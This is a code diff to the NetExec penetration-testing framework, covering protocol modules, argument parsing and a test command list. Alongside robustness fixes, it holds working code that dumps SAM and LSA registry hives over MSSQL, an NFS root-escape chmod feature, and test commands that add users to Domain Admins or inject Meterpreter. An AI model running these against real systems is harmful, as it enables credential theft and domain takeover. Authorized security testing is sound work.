# Make kerberoast-users and targeted-kerberoast require kerberoasting
kerberoast_users_arg.make_required = [kerberoasting_arg]
targeted_kerberoast_arg.make_required = [kerberoasting_arg]
vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain")
vgroup.add_argument("--base-dn", metavar="BASE_DN", dest="base_dn", type=str, default=None, help="base DN for search queries")
+4
View File
@@ -554,10 +554,12 @@ class mssql(connection):
system_storename = gen_random_string(6)
dump_command = f"reg save HKLM\\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
clean_command = f"del C:\\windows\\temp\\{sam_storename} && del C:\\windows\\temp\\{system_storename}"
get_owner_command = f"icacls C:\\windows\\temp\\{sam_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F"
output_filename = self.output_file_template.format(output_folder="sam")
try:
exec_method = MSSQLEXEC(self.conn, self.logger)
exec_method.execute(dump_command)
exec_method.execute(get_owner_command)
exec_method.get_file(f"C:\\windows\\temp\\{sam_storename}", f"{output_filename}.sam")
exec_method.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system")
exec_method.execute(clean_command)
@@ -587,10 +589,12 @@ class mssql(connection):
system_storename = gen_random_string(6)
dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
clean_command = f"del C:\\windows\\temp\\{security_storename} && del C:\\windows\\temp\\{system_storename}"
get_owner_command = f"icacls C:\\windows\\temp\\{security_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F"
output_filename = self.output_file_template.format(output_folder="lsa")
try:
exec_method = MSSQLEXEC(self.conn, self.logger)
exec_method.execute(dump_command)
exec_method.execute(get_owner_command)
exec_method.get_file(f"C:\\windows\\temp\\{security_storename}", f"{output_filename}.security")
exec_method.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system")
exec_method.execute(clean_command)
+74 -11
View File
@@ -130,18 +130,22 @@ class nfs(connection):
if program["program"] == NFS_PROGRAM:
self.nfs_versions.add(program["version"])
except Exception as e:
self.logger.debug(f"Error checking NFS version: {self.host} {e}")
self.logger.fail(f"Error checking NFS version: {self.host} {e}")
# Connect to NFS
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
# Check if root escape is possible
if NFS_V3 in self.nfs_versions:
self.root_escape = self.try_root_escape()
else:
self.logger.debug("NFSv3 not supported, skipping root escape check")
self.nfs3.disconnect()
try:
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
if nfs_port:
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
# Check if root escape is possible
if NFS_V3 in self.nfs_versions:
self.root_escape = self.try_root_escape()
else:
self.logger.debug("NFSv3 not supported, skipping root escape check")
self.nfs3.disconnect()
except Exception as e:
self.logger.fail(f"Failed to connect to NFS3 host: {e}")
def print_host_info(self):
root_escape_str = colored(f"root escape:{self.root_escape}", host_info_colors[1 if self.root_escape else 0], attrs=["bold"])
@@ -526,6 +530,62 @@ class nfs(connection):
else:
self.logger.highlight(f"File {local_file_path} successfully uploaded to {remote_file_path}")
def chmod(self):
try:
# Connect to NFS
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
# Mount the NFS share or get the root handle
if self.root_escape and not self.args.share:
mount_fh = self.escape_fh
elif not self.args.share:
self.logger.fail("No root escape possible, please specify a share")
return
else:
mnt_info = self.mount.mnt(self.args.share, self.auth)
if mnt_info["status"] != 0:
self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}")
return
mount_fh = mnt_info["mountinfo"]["fhandle"]
# Iterate over the path
curr_fh = mount_fh
privs = int(self.args.chmod[0], 8)
filepath = self.args.chmod[1]
file_path, file_name = os.path.split(filepath)
# If target dir is "" or "/" without filter we would get one item with [""]
for sub_path in list(filter(None, file_path.lstrip("/").split("/"))):
self.update_auth(curr_fh)
res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
# If the path does not exist, create it
if "resfail" in res and res["status"] == NFS3ERR_NOENT:
self.logger.fail(f"Directory '{sub_path}' does not exist on path '{file_path}/'")
curr_fh = res["resok"]["object"]["data"]
# Update the UID and GID from the directory
self.update_auth(curr_fh)
# Checking if file_name already exists on remote file path
lookup_response = self.nfs3.lookup(curr_fh, file_name, auth=self.auth)
if "resfail" in lookup_response and lookup_response["status"] == NFS3ERR_NOENT:
self.logger.fail(f"File '{file_name}' does not exist on path '{file_path}/'")
return
current_privs = self.nfs3.getattr(lookup_response["resok"]["object"]["data"], auth=self.auth)["attributes"]["mode"]
res = self.nfs3.setattr(lookup_response["resok"]["object"]["data"], mode=privs, auth=self.auth)
if "resfail" in res:
self.logger.fail(f"Failed to change permissions for '{filepath}': {NFSSTAT3[res['status']]}")
else:
self.logger.success(f"Permissions for '{filepath}' successfully changed from {format(current_privs, 'o')} to {format(privs, 'o')}")
except Exception as e:
self.logger.fail(f"Error occurred while processing path: {e}")
def get_root_handles(self, mount_fh):
"""
Get possible root handles to escape to the root filesystem
@@ -727,7 +787,10 @@ class nfs(connection):
read_perm, write_perm, exec_perm = self.get_permissions(item["name_handle"]["handle"]["data"])
perms = f"{is_dir}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{'x' if exec_perm else '-'}"
file_size = convert_size(item["name_attributes"]["attributes"]["size"])
self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}")
try:
self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}")
except UnicodeDecodeError:
self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode('CP437')}")
def format_directory(self, raw_directory):
"""Convert the chained directory entries to a list of the entries"""
+1
View File
@@ -10,5 +10,6 @@ def proto_args(parser, parents):
dgroup.add_argument("--ls", const="/", nargs="?", metavar="PATH", help="List files in the specified NFS share. Example: --ls /")
dgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Download remote NFS file. Example: --get-file remote_file local_file")
dgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Upload remote NFS file with chmod 777 permissions to the specified folder. Example: --put-file local_file remote_file")
dgroup.add_argument("--chmod", nargs=2, metavar=("PERMISSIONS", "FILE"), help="Change permissions of remote NFS file. Example: --chmod 777 /path/to/file")
return parser
+55 -31
View File
@@ -1,4 +1,5 @@
import asyncio
import contextlib
from datetime import datetime
from os import getenv
from anyio import Path
@@ -108,7 +109,10 @@ class rdp(connection):
self.logger.display(f"Probably old, doesn't not support HYBRID or HYBRID_EX ({nla})")
else:
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({nla})")
self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os, self.nla)
try:
self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os, self.nla)
except Exception as e:
self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
def create_conn_obj(self):
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout)
@@ -124,7 +128,7 @@ class rdp(connection):
target=self.target,
credentials=self.auth,
)
asyncio.run(self.connect_rdp())
asyncio.run(self.connect_rdp_with_cleanup())
except OSError as e:
if "Errno 104" not in str(e):
return False
@@ -188,10 +192,30 @@ class rdp(connection):
pass
async def connect_rdp(self):
"""Connect to the RDP server. Does NOT clean up on exit.
Use this when the caller needs the connection alive after connecting
(screen, nla_screen, execute_shell). For sync callers that only need to
know whether authentication succeeded and want guaranteed cleanup, use
connect_rdp_with_cleanup() instead.
"""
_, err = await asyncio.wait_for(self.conn.connect(), timeout=self.args.rdp_timeout)
if err is not None:
raise err
async def terminate_conn(self):
"""Terminate the RDP connection with a timeout so cleanup doesn't hang."""
if self.conn is not None:
with contextlib.suppress(Exception):
await asyncio.wait_for(self.conn.terminate(), timeout=self.args.rdp_timeout)
async def connect_rdp_with_cleanup(self):
"""Connect to the RDP server and always terminate the connection on exit"""
try:
await self.connect_rdp()
finally:
await self.terminate_conn()
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
try:
lmhash = ""
@@ -227,7 +251,7 @@ class rdp(connection):
stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT
kerberos_target = UniTarget(
self.host,
self.kdcHost,
88,
UniProto.CLIENT_TCP,
timeout=self.args.rdp_timeout,
@@ -245,7 +269,7 @@ class rdp(connection):
stype=stype,
)
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
asyncio.run(self.connect_rdp())
asyncio.run(self.connect_rdp_with_cleanup())
self.admin_privs = True
self.logger.success(
@@ -301,7 +325,7 @@ class rdp(connection):
stype=asyauthSecret.PASS,
)
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
asyncio.run(self.connect_rdp())
asyncio.run(self.connect_rdp_with_cleanup())
self.admin_privs = True
self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
@@ -335,7 +359,7 @@ class rdp(connection):
stype=asyauthSecret.NT,
)
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
asyncio.run(self.connect_rdp())
asyncio.run(self.connect_rdp_with_cleanup())
self.admin_privs = True
self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
@@ -420,7 +444,6 @@ class rdp(connection):
return None
self.logger.debug(f"Executing command: {payload_with_clip}")
# Create a connection
try:
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
await self.connect_rdp()
@@ -525,13 +548,9 @@ class rdp(connection):
self.logger.fail(f"Command execution failed: {e!s}")
return None
finally:
# Always clean up the connection
if self.conn is not None:
self.logger.debug("Terminating RDP connection")
try:
await self.conn.terminate()
except Exception as e:
self.logger.debug(f"Error terminating connection: {e!s}")
# clean up the connection with a timeout to prevent aardwolf deadlock (see https://github.com/skelsec/aardwolf/issues/43)
self.logger.debug("Terminating RDP connection")
await self.terminate_conn()
def execute(self, payload=None, shell_type="cmd"):
"""Execute a command via RDP"""
@@ -566,15 +585,17 @@ class rdp(connection):
try:
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
await self.connect_rdp()
except Exception:
return
await asyncio.sleep(5)
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
buffer.save(filename, "png")
self.logger.highlight(f"Screenshot saved {filename}")
await asyncio.sleep(5)
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
buffer.save(filename, "png")
self.logger.highlight(f"Screenshot saved {filename}")
except Exception as e:
self.logger.debug(f"Error taking screenshot: {e!s}")
finally:
await self.terminate_conn()
def screenshot(self):
asyncio.run(self.screen())
@@ -586,19 +607,22 @@ class rdp(connection):
try:
self.iosettings.supported_protocols = proto
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
await self.connect_rdp()
except Exception as e:
self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}")
return
await self.terminate_conn()
continue
await asyncio.sleep(int(self.args.screentime))
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
buffer.save(filename, "png")
self.logger.highlight(f"NLA Screenshot saved {filename}")
return
try:
await asyncio.sleep(int(self.args.screentime))
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
buffer.save(filename, "png")
self.logger.highlight(f"NLA Screenshot saved {filename}")
return
finally:
await self.terminate_conn()
def nla_screenshot(self):
if not self.nla:
+8 -1
View File
@@ -193,7 +193,14 @@ class smb(connection):
# self.domain is the attribute we authenticate with
# self.targetDomain is the attribute which gets displayed as host domain
if not self.no_ntlm:
self.hostname = self.conn.getServerName()
# Try to get hostname with getServerDNSHostName as getServerName is truncated to 15 chars
dns_hostname = self.conn.getServerDNSHostName().upper()
if dns_hostname and "." in dns_hostname:
self.hostname = dns_hostname.split(".")[0]
elif dns_hostname:
self.hostname = dns_hostname
else:
self.hostname = self.conn.getServerName()
self.targetDomain = self.conn.getServerDNSDomainName()
if not self.targetDomain: # Not sure if that can even happen but now we are safe
self.targetDomain = self.hostname
+41 -31
View File
@@ -142,38 +142,44 @@ class ssh(connection):
def check_shell(self, cred_id):
host_id = self.db.get_hosts(self.host)[0].id
# Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey
# Check Linux
stdout = self.conn.exec_command("id")[1].read().decode(self.args.codec, errors="ignore")
if stdout:
self.server_os_platform = "Linux"
self.logger.debug(f"Linux detected for user: {stdout}")
self.shell_access = True
self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access)
self.check_linux_priv()
if self.admin_privs:
self.logger.debug(f"User {self.username} logged in successfully and is root!")
if self.args.key_file:
self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id)
else:
self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id)
return
try:
# Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey
stdout = self.conn.exec_command("id")[1].read().decode(self.args.codec, errors="ignore")
if stdout:
self.server_os_platform = "Linux"
self.logger.debug(f"Linux detected for user: {stdout}")
self.shell_access = True
self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access)
self.check_linux_priv()
if self.admin_privs:
self.logger.debug(f"User {self.username} logged in successfully and is root!")
if self.args.key_file:
self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id)
else:
self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id)
return
except Exception as e:
self.logger.debug(f"Non-SSH error during Linux shell check: {e}")
# Check Windows
stdout = self.conn.exec_command("whoami /priv")[1].read().decode(self.args.codec, errors="ignore")
if stdout:
self.server_os_platform = "Windows"
self.logger.debug("Windows detected")
self.shell_access = True
self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access)
self.check_windows_priv(stdout)
if self.admin_privs:
self.logger.debug(f"User {self.username} logged in successfully and is admin!")
if self.args.key_file:
self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id)
else:
self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id)
return
try:
stdout = self.conn.exec_command("whoami /priv")[1].read().decode(self.args.codec, errors="ignore")
if stdout:
self.server_os_platform = "Windows"
self.logger.debug("Windows detected")
self.shell_access = True
self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access)
self.check_windows_priv(stdout)
if self.admin_privs:
self.logger.debug(f"User {self.username} logged in successfully and is admin!")
if self.args.key_file:
self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id)
else:
self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id)
return
except Exception as e:
self.logger.debug(f"Error during Windows shell check: {e}")
# No shell access
self.shell_access = False
@@ -196,8 +202,12 @@ class ssh(connection):
# we could add in another method to check by piping in the password to sudo
# but that might be too much of an opsec concern - maybe add in a flag to do more checks?
self.logger.info("Determined user is root via `id; sudo -ln` command")
_, stdout, _ = self.conn.exec_command("id; sudo -ln 2>&1")
stdout = stdout.read().decode(self.args.codec, errors="ignore")
try:
_, stdout, _ = self.conn.exec_command("id; sudo -ln 2>&1")
stdout = stdout.read().decode(self.args.codec, errors="ignore")
except SSHException as e:
self.logger.debug(f"SSH channel closed during privilege check: {e}")
return
admin_flag = {
"(root)": [True, None],
"NOPASSWD: ALL": [True, None],
+38 -1
View File
@@ -72,7 +72,10 @@ class winrm(connection):
self.server_os = ntlm_info["os_version"]
self.logger.extra["hostname"] = self.hostname
self.db.add_host(self.host, self.port, self.hostname, self.targetDomain, self.server_os)
try:
self.db.add_host(self.host, self.port, self.hostname, self.targetDomain, self.server_os)
except Exception as e:
self.logger.debug(f"Error adding host to database: {e!s}")
if self.args.domain:
self.domain = self.args.domain
@@ -299,6 +302,40 @@ class winrm(connection):
if get_output:
return result
def get_file(self, remote_path=None, download_path=None):
remote_path = remote_path if remote_path else self.args.get_file[0]
local_path = download_path if download_path else self.args.get_file[1]
# Do a bit of smart handling for the local file path
if local_path.endswith("/"):
local_path += ntpath.basename(remote_path)
try:
self.logger.display(f'Downloading "{remote_path}" to "{local_path}"')
self.conn.fetch(remote_path, local_path)
self.logger.success(f"File {remote_path} has been saved to {local_path}")
except Exception as e:
self.logger.fail(f"Failed to get file {remote_path}, error: {e!s}")
def put_file(self, local_path=None, remote_path=None):
local_path = local_path if local_path else self.args.put_file[0]
remote_path = remote_path if remote_path else self.args.put_file[1]
# Do a bit of smart handling for the remote file path
remote_path += os.path.basename(local_path) if remote_path.endswith(("\\", "/")) else ""
try:
self.logger.display(f'Uploading "{local_path}" to "{remote_path}"')
self.conn.copy(local_path, remote_path)
self.logger.success(f"File {local_path} has been uploaded to {remote_path}")
except Exception as e:
self.logger.fail(f"Failed to put file {local_path} to {remote_path}, error: {e!s}")
def dir(self, directory=None):
directory = directory if directory else self.args.dir
out = self.execute(f"dir {directory}", True)
if out is not None:
for line in out.splitlines():
self.logger.highlight(line.rstrip())
# Dos attack prevent:
# if someboby executed "reg save HKLM\sam C:\windows\temp\sam" before, but didn't remove "C:\windows\temp\sam" file,
# when user execute the same command next time, in tty shell, the prompt will ask "File C:\windows\temp\sam already exists. Overwrite (Yes/No)?"
+3 -2
View File
@@ -1,4 +1,4 @@
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, select, func, delete
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, select, func, delete
from sqlalchemy.dialects.sqlite import Insert
from sqlalchemy.orm import declarative_base
@@ -28,6 +28,7 @@ class database(BaseDB):
__table_args__ = (
PrimaryKeyConstraint("id"),
UniqueConstraint("ip"),
)
class User(Base):
@@ -122,7 +123,7 @@ class database(BaseDB):
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.HostsTable)
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns)
q = q.on_conflict_do_update(index_elements=["ip"], set_=update_columns)
self.db_execute(q, hosts)
def add_credential(self, credtype, domain, username, password, pillaged_from=None):
+8 -1
View File
@@ -19,8 +19,15 @@ def proto_args(parser, parents):
cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
cgroup.add_argument("--dpapi", action="store_true", help="dump user's Credential Manager secrets from target systems")
mapping_enum_group = winrm_parser.add_argument_group("Mapping/Enumeration")
mapping_enum_group.add_argument("--dir", nargs="?", type=str, const="", help="List the content of a path (default path: '%(const)s')")
files_group = winrm_parser.add_argument_group("File Operations")
files_group.add_argument("--put-file", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
files_group.add_argument("--get-file", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
cgroup = winrm_parser.add_argument_group("Command Execution")
cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
cgroup.add_argument("--codec", default="437", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
cgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
cgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
Generated
+3 -3
View File
@@ -493,14 +493,14 @@ files = [
[[package]]
name = "certihound"
version = "0.1.1"
version = "0.2.0"
description = "Linux-native AD CS collector library for BloodHound CE - enumerate ADCS and export to BloodHound format"
optional = false
python-versions = ">=3.10"
groups = ["main"]
files = [
{file = "certihound-0.1.1-py3-none-any.whl", hash = "sha256:9e22eb8d465b4ac2ffb9c2f2db1d3998ab44b5acfcf9f8e7b65136acb1855112"},
{file = "certihound-0.1.1.tar.gz", hash = "sha256:9c4006dd682e927bd7f1e0e1e4f2fae0a00c9ef10f971344f5a3d9d96f1289d7"},
{file = "certihound-0.2.0-py3-none-any.whl", hash = "sha256:771dc745a9e66c5f03b6c6a2c3574355b4c1a0a959c391ad57233599be2dfcf3"},
{file = "certihound-0.2.0.tar.gz", hash = "sha256:fc8b3c357a91f8845bac34d91e7a8d644aa4d61db09d880249bb5e544a0a100a"},
]
[package.dependencies]
+5
View File
@@ -114,6 +114,8 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M lsassy
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M masky -o CA="host.domain.tld\domain-host-CA"
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4443 RAND=12345
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mobaxterm
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M modify-group -o USER=USERNAME GROUP="Domain Admins"
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M modify-group -o USER=USERNAME GROUP="Domain Admins" REMOVE=True
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mremoteng
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ms17-010
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M msol
@@ -229,6 +231,8 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-net
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M groupmembership -o USER=LOGIN_USERNAME
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M laps
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M maq
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M modify-group -o USER=USERNAME GROUP="Domain Admins"
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M modify-group -o USER=USERNAME GROUP="Domain Admins" REMOVE=True
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pre2k
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pre2k -o ALL=true
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M subnets
@@ -328,3 +332,4 @@ netexec nfs TARGET_HOST -u "" -p "" --shares
netexec nfs TARGET_HOST -u "" -p "" --enum-shares
netexec nfs TARGET_HOST -u "" -p "" --get-file /NFStest/test/test.txt ../test.txt
netexec nfs TARGET_HOST -u "" -p "" --put-file ../test.txt /NFStest/test
netexec nfs TARGET_HOST -u "" -p "" --chmod 666 /NFStest/test/test.txt